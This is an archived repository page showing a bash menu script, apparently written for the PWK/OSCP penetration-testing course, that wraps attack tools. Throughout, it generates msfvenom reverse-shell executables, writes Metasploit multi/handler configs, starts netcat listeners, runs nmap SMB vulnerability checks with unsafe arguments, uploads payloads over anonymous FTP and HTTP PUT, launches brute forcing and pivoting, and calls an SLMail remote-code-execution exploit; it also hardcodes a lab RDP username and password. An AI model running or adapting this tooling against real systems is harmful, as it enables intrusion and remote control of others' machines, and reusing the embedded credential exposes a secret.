This repository has been archived by the owner on Mar 13, 2022. It is now read-only.
-
-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathPWK_Script_Menu.sh
796 lines (759 loc) · 18.7 KB
/
PWK_Script_Menu.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
#!/bin/bash
#Prereqs
clear
updatedb
echo "-------------NETWORK INFO----------------------"
ifconfig | grep inet
#searchsploit --update
echo""
echo "[*] Starting Apache services...."
service apache2 start
func_Setup_WEBDAV_SMB_Server_Over_HTTP(){
mkdir /var/www/webdav
chown -R www-data:www-data /var/www
a2enmod dav
a2enmod dav_fs
echo "Add this to /etc/apache2/apache2.conf
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
</Directory>
"
echo "[!] Once added run apache2 service restart"
}
func_Setup_ReverseNC_Shells(){
echo "[*] Moving NC to apache2 web server dir"
cp /usr/share/windows-binaries/nc.exe /var/www/html/nc.exe
service apache2 start
echo "[*] Starting Apache service"
}
func_ZoneXFer(){
echo "Enter Domain Name to Search: "
read DomainName
echo ""
echo "[*] Launching PWK Scripted DNS Tool (host -l)"
echo ""
for server in $(host -t ns $DomainName | cut -d" " -f4); do
host -l $1 $server | grep "has address"
done
echo ""
echo "[*] Launching dnsrecon DNS Tool"
echo ""
dnsrecon -d $DomainName -t axfr
echo ""
echo "[*] Launching dnsenum DNS Tool"
echo ""
dnsenum $DomainName
}
func_HTML_Domain_Scrape(){
echo "Enter file path of html file to scrape Domains from: "
read HTMLFILE
grep "href=" $HTMLFILE | cut -d "/" -f 3 | grep "\." | cut -d '"' -f 1 |sort -u
}
func_PingSweep(){
echo "Enter 1st 3 octets (ie 192.168.0.): "
read FirstThreeOctects
echo "Enter Last octet start Range (ie 1 ): "
read SLastORange
echo "Enter Last octet end Range (ie 254 ): "
read ELastORange
for ip in $(seq $SLastORange $ELastORange);do
ping -c 1 $FirstThreeOctects$ip | grep "bytes from" | cut -d" " -f 4
done
}
func_NMAP_MENU(){
nmap --script-updatedb
while true
do
echo "NMAP Menu"
echo ""
echo "0) Redo IP/RANGE/CIDR"
echo "1) nmap -p 135,445 {Your Range/CIDR Range} --open"
echo "2) nmap -p 139,445 --script smb-enum-users {Your Range/CIDR Range}"
echo "3) nmap -p 139,445 --script=smb-check-vulns --script-args=unsafe=1 {Your Range/CIDR Range}"
echo "4) nmap -sU --open -p 161(SNMP) {Your Range/CIDR Range}"
echo "5) nmap -sN -F -A -O -T4 {Your Range/CIDR Range} (Scan 100 MOST COMMON PORTS)"
echo "6) NMAP Script Scan"
echo "7) Use Nmap Scan to do ScreenCaptures of Visual Services (Http,vnc,rdp)"
echo "8) nmap an IP for shares and listable contents"
echo "9) Run Nmap Vulners Script"
echo ""
echo "99) Goto Main"
echo ""
echo "Enter Selection: "
read Option
case "$Option" in
0)
echo "Enter IP or CIDR or Range: "
read RangeCIDR
func_NMAP_MENU
;;
1)
echo "Enter NMAP output file name to be saved under /root/(NAME.xml): "
read NMAPFile
nmap -v -O -p 135,445 $RangeCIDR --open -oX /root/135_445_Open.xml -oX $NMAPFile
func_NMAP_MENU
;;
2)
echo "Enter NMAP output file name to be saved under /root/(NAME.xml): "
read NMAPFile
nmap -v -O -p 139,445 --script smb-enum-users $RangeCIDR --open -oX $NMAPFile
func_NMAP_MENU
;;
3)
echo "Enter NMAP output file name to be saved under /root/(NAME.xml): "
read NMAPFile
gnome-terminal --tab --title="NMAP 139 and 445 SMB Vuln Scan" nmap -v -O -p 139,445 --script=smb-check-vulns --script-args=unsafe=1 $RangeCIDR --open -oX $NMAPFile
func_NMAP_MENU
;;
4)
echo "Enter NMAP output file name to be saved under /root/(NAME.xml): "
read NMAPFile
nmap -v -O -sU --open -p 161 $RangeCIDR -oX $NMAPFile
func_NMAP_MENU
;;
5)
echo "Enter NMAP output file name to be saved under /root/(NAME.xml): "
read NMAPFile
nmap -v -O -sN -F -A -O -T4 $RangeCIDR --open -oX $NMAPFile
func_NMAP_MENU
;;
6)
echo "Enter NMAP output file name to be saved under /root/(NAME.xml): "
read NMAPFile
echo""
echo "Enter Search Term else all will be listed: "
read SearchTerm
clear
echo "[*] Searching /usr/share/nmap/scripts/"
echo "List of Scripts for NMAP"
if [ -z "$SearchTerm"]
then
ls /usr/share/nmap/scripts/
else
ls /usr/share/nmap/scripts/ | grep $SearchTerm
fi
echo ""
echo "Enter the name of the script to use: "
read NMAPScript
echo ""
echo "Enter port numbers (ie 25,445): "
read Ports
echo "Enter IP info to target (ie CIDR,Range, Single IP): "
read targets
echo ""
clear
echo "[*] Command used was: nmap -v -O --script=/usr/share/nmap/scripts/$NMAPScript -p $Ports --open $targets -oX $NMAPFile"
echo ""
nmap -v -O --script=/usr/share/nmap/scripts/$NMAPScript -p $Ports --open $targets -oX $NMAPFile
echo ""
echo "[!] Script usage below"
cat /usr/share/nmap/scripts/$NMAPScript | grep "\-\-"
leafpad $NMAPFile
func_NMAP_MENU
;;
7)
func_ScreenCap_Scan
func_NMAP_MENU
;;
8)
echo "Enter IP to scan: "
read IP
echo "[!] Running: 'nmap -p 445" $IP "--script smb-enum-shares,smb-ls' in another tab..."
nmap -p 445 $IP --script smb-enum-shares,smb-ls
func_NMAP_MENU
;;
9)
echo "Enter Target IP or Range: "
read target
echo ""
echo ""
clear
nmap -sV --script vulners --script-args mincvss=5.0 $target
echo ""
echo ""
func_NMAP_MENU
;;
99) func_MAIN
;;
esac
done
}
func_Exploits_Menu(){
echo "EXPLOITS Menu"
echo ""
echo "1) Start Netcat Listener"
echo "2) Send SLMAIL_BO_RCE"
echo ""
echo "Enter Selection: "
read Option
case "$Option" in
1)
echo "Enter Identifier for new Listener Tab name: "
read targetinfo
echo "Enter Lport call home port: "
read lport
gnome-terminal --tab --title="ncat_Listener"$targetinfo -- nc -lvp $lport
func_MAIN
;;
2)
python Scripts/SLMAIL_BO_RCE.py
func_MAIN
;;
*)
func_MAIN
;;
esac
}
func_Setup_Apache2_Download(){
service apache2 start
echo "Enter Port to open: "
read port
ufw allow in $port
echo "Enter File path to move file to /var/www/html from: "
read FilePath
cp $FilePath /var/www/html/$FilePath
}
func_MSFVEnom_Menu(){
service apache2 start
LHOST=$(hostname -I |cut -d" " -f2)
echo "MSFVENOM Menu"
echo "Payloads List"
echo "[*] LHOST is "$LHOST
echo ""
echo "00) Select/Change Payload"
echo "0) Setup Apache2 for file download"
echo "1) Generate SHELLCODE"
echo "2) Generate Reverse tcp Shell exe"
echo "3) Generate CUSTOM PAYLOAD"
echo "4) Generate CUSTOM PAYLOAD and Handler"
echo "5) Generate Unique String of size N (Pattern_Create)"
echo "6) Get Unique String Location for BOF (Pattern Offset)"
echo "7) Search for MSF Payload"
echo "8) Search for MSF Payload Format"
echo "9) Find Op Codes NAS_SHELL"
echo ""
echo "99) to goto MAIN"
echo ""
echo "Enter Selection: "
read Option
case "$Option" in
00)
echo "Search Term for Payload: "
read searchterm
echo "[*] Searching will disaply results below..."
msfvenom -l payloads | grep $searchterm
echo "Enter Payload path(nc=windows/shell_reverse_tcp): "
read payload
;;
0)
func_Setup_Apache2_Download
func_MSFVEnom_Menu
;;
1)
commandlinearg="msfvenom"
echo "Enter LHOST call home IP: "
read lhost
commandlinearg+=" LHOST="$lhost
echo "[+] "$commandlinearg
echo "Enter Lport call home port: "
read lport
commandlinearg+=" LPORT="$lport
echo "[+] "$commandlinearg
echo ""
echo "Payloads Ref's:"
echo "Linux=shell_bind_tcp"
echo "Windows=windows/shell_reverse_tcp"
echo ""
echo "Search Term to look for in Payload title: "
read searchterm
echo "[*] Search results below...please wait for prompt"
msfvenom -l payloads | grep $searchterm
echo "[+] "$commandlinearg
echo "Enter Payload Path (nc=windows/shell_reverse_tcp): "
read payload
commandlinearg+=" -p "$payload
echo "[+] "$commandlinearg
echo "[*] Generating List of Payload Formats...please wait for prompt"
msfvenom -l formats
echo "Payloads Ref's: "
echo "'C' is useful for both Windows and Linux"
echo ""
echo "Enter Payload format: "
read format
commandlinearg+=" -f "$format
echo "[+] "$commandlinearg
echo "[*] Generating List of Payload Platforms to compile for...please wait for prompt"
msfvenom -l platforms
echo "Enter Payload Architiecture: "
read platform
commandlinearg+=" --platform "$platform
echo "Enter Bad Byte Codes (ie \"\x00\"): "
read Bytesofcode
echo "Enter Arch type 'x86' or 'x64': "
read arch
msfvenom -p $payload LHOST=$LHOST LPORT=$lport -f $format -a $arch --platform $platform -b "$Bytesofcode" -e shikata_ga_nai
echo "[*] Using ... msfvenom -p $payload LHOST=$LHOST LPORT=$lport -f $format -a $arch --platform $platform -b "$Bytesofcode" -e $arch/shikata_ga_nai"
func_MSFVEnom_Menu
;;
2)
echo "Enter Lport call home port: "
read lport
echo "Enter Bin Name: "
read BinName
msfvenom -p windows/shell_reverse_tcp -a x86 --platform windows LHOST=$LHOST LPORT=$lport -f exe > /root/$BinName
echo "[+] File saved at /root/$BinName"
func_MSFVEnom_Menu
;;
3)
commandlinearg="msfvenom"
echo "Enter LHOST call home IP: "
read lhost
commandlinearg+=" LHOST="$lhost
echo "[+] "$commandlinearg
echo "Enter Lport call home port: "
read lport
commandlinearg+=" LPORT="$lport
echo "[+] "$commandlinearg
echo ""
commandlinearg+=" -p "$payload
echo "[+] "$commandlinearg
echo "[*] Generating List of Payload Formats...please wait for prompt"
msfvenom -l formats
echo "Payloads Ref's:"
echo "Linux=-f elf"
echo ""
echo "Enter Payload format: "
read format
commandlinearg+=" -f "$format
echo "[+] "$commandlinearg
echo "[*] Generating List of Payload Platforms to compile for...please wait for prompt"
msfvenom -l platforms
echo "Enter Payload Architiecture: "
read platform
commandlinearg+=" --platform "$platform
echo ""
commandlinearg+=" -o /root/MSFV_"$platform$lport"."$format
echo "[+] Running this command:" $commandlinearg
;;
4)
commandlinearg="msfvenom"
echo "Enter LHOST call home IP: "
read lhost
commandlinearg+=" LHOST="$lhost
echo "[+] "$commandlinearg
echo "Enter Lport call home port: "
read lport
commandlinearg+=" LPORT="$lport
echo "[+] "$commandlinearg
echo ""
echo "Payloads Ref's:"
echo "Linux=linux/x86/shell_reverse_tcp"
echo "Windows=windows/shell_reverse_tcp"
echo "Tomcat/jsp=java/jsp_shell_reverse_tcp"
echo ""
echo "Search Term to look for in Payload title: "
read searchterm
echo "[*] Search results below...please wait for prompt"
msfvenom -l payloads | grep $searchterm
echo "[+] "$commandlinearg
echo "Enter Payload Path (nc=windows/shell_reverse_tcp): "
read payload
commandlinearg+=" -p "$payload
echo "[+] "$commandlinearg
echo "[*] Generating List of Payload Formats...please wait for prompt"
msfvenom -l formats
echo "Payloads Ref's:"
echo "Linux=-f elf"
echo ""
echo "Enter Payload format: "
read format
commandlinearg+=" -f "$format
echo "[+] "$commandlinearg
echo "[*] Generating List of Payload Platforms to compile for...please wait for prompt"
msfvenom -l platforms
echo "Enter Payload Architiecture: "
read platform
commandlinearg+=" --platform "$platform
echo ""
commandlinearg+=" -o /root/MSFV_"$platform$lport"."$format
echo "[+] Running this command:" $commandlinearg
echo ""
echo "[*] Generating msf rc file to run from msfconsole at /tmp/handler.rc"
echo ""
echo "[!] Payload at: /root/MSFV_"$platform"."$format
echo ""
echo "[*] Script looks like:
use exploit/multi/handler
set PAYLOAD "$payload"
set LHOST "$lhost"
set LPORT "$lport"
set ExitOnSession false
exploit -j
"
echo "
use exploit/multi/handler
set PAYLOAD "$payload"
set LHOST "$lhost"
set LPORT "$lport"
set ExitOnSession false
exploit -j
">/tmp/handler.rc
gnome-terminal --tab --title="MSF MultiHandler"$lport -- msfconsole -r /tmp/handler.rc
gnome-terminal --tab --title="MSF Venom" -- $commandlinearg
echo ""
echo ""
echo ""
func_MSFVEnom_Menu
;;
5)
echo "Enter Size of unique string to generate: "
read size
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l $size
func_MSFVEnom_Menu
;;
6)
echo "Enter byte size BOF array in digits: "
read bytesize
echo "Enter memory address of EIP reg in when BOF executed(in digitsw): "
read EIP
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb $bytesize -q $EIP
func_MSFVEnom_Menu
;;
7)
clear
echo "Search Term to look for in Payload title: "
read searchterm
echo "[*] Search results below...please wait for prompt"
msfvenom -l payloads | grep $searchterm
func_MSFVEnom_Menu
;;
8)
clear
msfvenom -l formats
func_MSFVEnom_Menu
;;
9)
gnome-terminal --tab --title="NASM_SHELL" -- /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
func_MSFVEnom_Menu
;;
99)
func_MAIN
;;
*)
func_MSFVEnom_Menu
;;
esac
}
func_Exploit_Search(){
echo "Exploit SEARCH Menu"
echo ""
echo "0) Search Based on NMAP Script"
echo "1) Search Based on Search Term(s)"
echo "99) Goto Main"
echo ""
echo "Enter Selection: "
read Option
case "$Option" in
0)
echo "Enter Filepath to NMAP xml output file: "
read filepath
echo "[*] Sending findings to /root/Vulns.txt"
searchsploit -x --nmap "$filepath" --colour --exclude="Denial" -w > /root/Vulns.txt
echo "[!] Ouput sent to /root/Vulns.txt"
func_Exploit_Search
;;
1)
echo "Enter terms to search for (space seperated per term): "
read terms
searchsploit "$terms" --colour --exclude="Denial" -w
func_Exploit_Search
;;
99)
func_MAIN
;;
*)
func_Exploit_Search
;;
esac
}
func_ScreenCap_Scan(){
echo "Enter location full path to NMAP xml file with http/rdp/vnc port scans to screencap: "
read Option
gnome-terminal --tab --title="ScreenCap Session" --eyewitness -x $Option --headless --rdp --vnc --show-selenium --timeout 10
}
func_MAIN(){
echo "Main Menu"
echo ""
echo "-- Passive Recon Phase --"
echo ""
echo "1) DNS Enum (Zone Xfer)"
echo "2) Scrape Domaind from HTML page (used after wget domain.html)"
echo ""
echo "-- Active Recon Phase --"
echo ""
echo "3) Ping Sweep (Network ICMP Scan)"
echo "4) NMAP MENU"
echo "5) NBTScan (Netbios Name Server Scanner)"
echo ""
echo "-- Conenct to Client (Info gather)--"
echo""
echo "6) rpcclient (great 4 null session)"
echo "7) enum4linux (null smb/rpc session of box info grab)"
echo "8) Nc to clear text IP and port"
echo "9) SNMP Walk"
echo ""
echo "-- Payloads/Exploit --"
echo ""
echo "10) GOTO MSFVENOM and Exploit Dev Menu"
echo "11) Start netcat Listener"
echo "12) Start Metasploit MultiHandler"
echo "13) GOTO EXPLOITS Menu"
echo "14) GOTO Search For Exploits Menu"
echo ""
echo "-- Misc --"
echo ""
echo "15) Setup Native WEBDAV Sevrer on Apache"
echo "16) Attempt FTP anon Login and Payload Upload"
echo "17) Generate Wordlist from Webpage"
echo "18) Launch Online Brute Force Login"
echo "19) Setup Port Forward with 'rinetd'"
echo "20) Launch Web Server Dir BruteForcer"
echo "21) HTTP PUT File to a Web Server"
echo ""
echo "--Tasks Sub-Menu--"
echo ""
echo "00) RDP to test windows machine (10.11.20.153)"
echo "44) Start Crossfire Debug"
echo "55) Restart OpenVPN"
echo "66) Tail Apache Access log"
echo "77) Launch Sparta"
echo "88) Take a ScreenCapture"
echo "99) EXIT SCRIPT"
echo ""
echo "Enter Selection: "
read Option
case "$Option" in
00)
gnome-terminal --tab --title="RDP Session" -- rdesktop 10.11.20.74 -u "offsec" -p "ZAQvGC9MpjO" -g 85%
clear
func_MAIN
;;
88)
echo "Enter Image name/Dexcription (with file extension): "
read FileName
echo "[!] Pull up window you wish to capture count down 10 seconds..."
echo "[*] The courser will change to cross when ready"
sleep 9
echo "[*] Computer Ready!!"
import /root/Pictures/$FileName
echo "[*] Saved to /root/Pictures/$FileName"
sleep 1
func_MAIN
;;
1) func_ZoneXFer
func_MAIN
;;
3) func_PingSweep
func_MAIN
;;
2) func_HTML_Domain_Scrape
func_MAIN
;;
4)
clear
func_NMAP_MENU
func_MAIN
;;
5)
echo "Enter IP Range(ie 1-154) to Scan: "
read IP
nbtscan $IP
func_MAIN
;;
6)
echo "Enter IP to connect to: "
read IP
echo "Enter Username to auth with (hit enter for no pass): "
read UN
echo "Enter password to auth with (hit enter for no pass): "
read PW
if [ -z "$PW" ]
then
rpcclient -U $UN -P $PW $IP
else
rpcclient -N -U $UN $IP
fi
func_MAIN
;;
7)
echo "Enter IP to connect to: "
read IP
enum4linux -v $IP
func_MAIN
;;
8)
echo "Enter IP/Domain to connect to: "
read IP
echo "Enter PORT to connect to: "
read Port
gnome-terminal --tab --title="NCAT Bind Shell" -- nc -nv $IP $Port
func_MAIN
;;
9)
echo "MIBS"
echo ""
echo "1.3.6.1.2.1.25.4.2.1.2 Running processes"
echo "1.3.6.1.2.1.6.13.1.3 Open ports"
echo "1.3.6.1.2.1.25.6.3.1.2 Installed patchs"
echo ""
echo "Enter mib-value to SNMP tree (ie 1.3.6.1.2.1.25.4.2.1.2 for running processes): "
read MIBID
echo "Enter IP to connect to: "
read IP
echo "Enter SNMP version (ie v1,v2): "
read SNMPVer
gnome-terminal --tab --title="SNMP Walk"$IP -- snmpwalk -c public -$SNMPVer $IP $MIBID
func_MAIN
;;
10)
clear
func_MSFVEnom_Menu
func_MAIN
;;
11)
echo "Enter Lport call home port: "
read lport
gnome-terminal --tab --title="ncat_Listener"$lport -- nc -nlvp $lport
func_MAIN
;;
12)
LHOST=$(hostname -I |cut -d" " -f2)
echo "Enter Lport call home port: "
read lport
echo "[*] Generating msf rc file to run from msfconsole at /tmp/handler.rc"
echo ""
echo "[*] Script looks like:
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST $LHOST
set LPORT $lport
set ExitOnSession false
exploit -j
"
echo "
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST $LHOST
set LPORT $lport
set ExitOnSession false
exploit -j
">/tmp/handler.rc
gnome-terminal --tab --title="MSF MultiHandler"$lport -- msfconsole -r /tmp/handler.rc
func_MAIN
;;
13)
func_Exploits_Menu
func_MAIN
;;
14)
clear
func_Exploit_Search
func_MAIN
;;
15)
func_Setup_WEBDAV_SMB_Server_Over_HTTP
func_MAIN
;;
16)
ftpFile="/root/ftpLogin.sh"
echo > $ftpFile
echo "Enter IP to FTP to: "
read FTPIP
echo "Enter Payload path with file: "
read payload
echo "open "$FTPIP >> $ftpFile
echo "anonymous">> $ftpFile
echo "anonymous">> $ftpFile
echo "bin">> $ftpFile
echo "GET "$payload>>$ftpFile
echo "bye">> $ftpFile
chmod 755 $ftpFile
gnome-terminal --tab --title="FTP Auto Anon Upload"$lport -- ftp -s:$ftpFile
func_MAIN
;;
17)
echo "Enter IP or domain to scrape for wordlist: "
read dest
cewl $dest -m 6 -w /root/cewl.txt 2> /dev/null
john --wordlist=cewl.txt --rules --stdout > cewljohned.txt
vari=$(ls | grep cewljohned.txt)
echo "[*] Created "$vari
rm cewl.txt
func_MAIN
;;
18)
gnome-terminal --tab --title="HYDRA Brute Force" -- xhydra
#medusa -h $httpauthPage -u $username -P $wordlist -M http -n 81 -m DIR:$httpWebDir -T 30
#hydra -l root 10.11.1.72 -t 4 ssh -P /root/wordlists/rockyou.txt
func_MAIN
;;
19)
echo "Enter Bind Address (RHOST IP/targets WAN IP): "
read RHOST
echo "Enter BindPort (RHOST OUTBOUND/targets egress port): "
read RPORT
echo "Enter connectaddress (LHOST/your IP): "
read LHOST
echo "Enter connectport (LPORT/your local port to acces the port redir on): "
read LPORT
echo $RHOST $RPORT $LHOST $LPORT>/etc/rinetd.conf
/etc/init.d/rinetd restart
func_MAIN
;;
20)
gnome-terminal --tab --title="Web Dir Brute Forcer" -- dirbuster
func_MAIN
;;
21)
clear
echo "Enter Local path to payload: "
read Path
echo "Enter Dest IP or Domain with http(s)://: "
read Dest
curl $Dest --upload-file $Path -v
echo ""
echo "[*] Command run is: curl $Dest --upload-file $Path"
echo "[!] Example : curl http://192.168.1.103/dav/ --upload-file /root/Desktop/curl.php -v"
func_MAIN
;;
55)
clear
service openvpn stop
service openvpn start
service openvpn status
echo "[*] Openvpn restarted"
func_MAIN
;;
66)
service apache2 start
gnome-terminal --tab --title="Apache Access.log TAIL" -- tail -f /var/log/apache2/access.log
func_MAIN
;;
77)
gnome-terminal --tab --title="Sparta" -- sparta
func_MAIN
;;
44)
gnome-terminal --tab --title="Crossfire Debug" -- edb --run /usr/games/crossfire/bin/crossfire
func_MAIN
;;
99) exit 0
;;
*)
echo "[!] INVALID INPUT"
func_MAIN
;;
esac
}
func_MAIN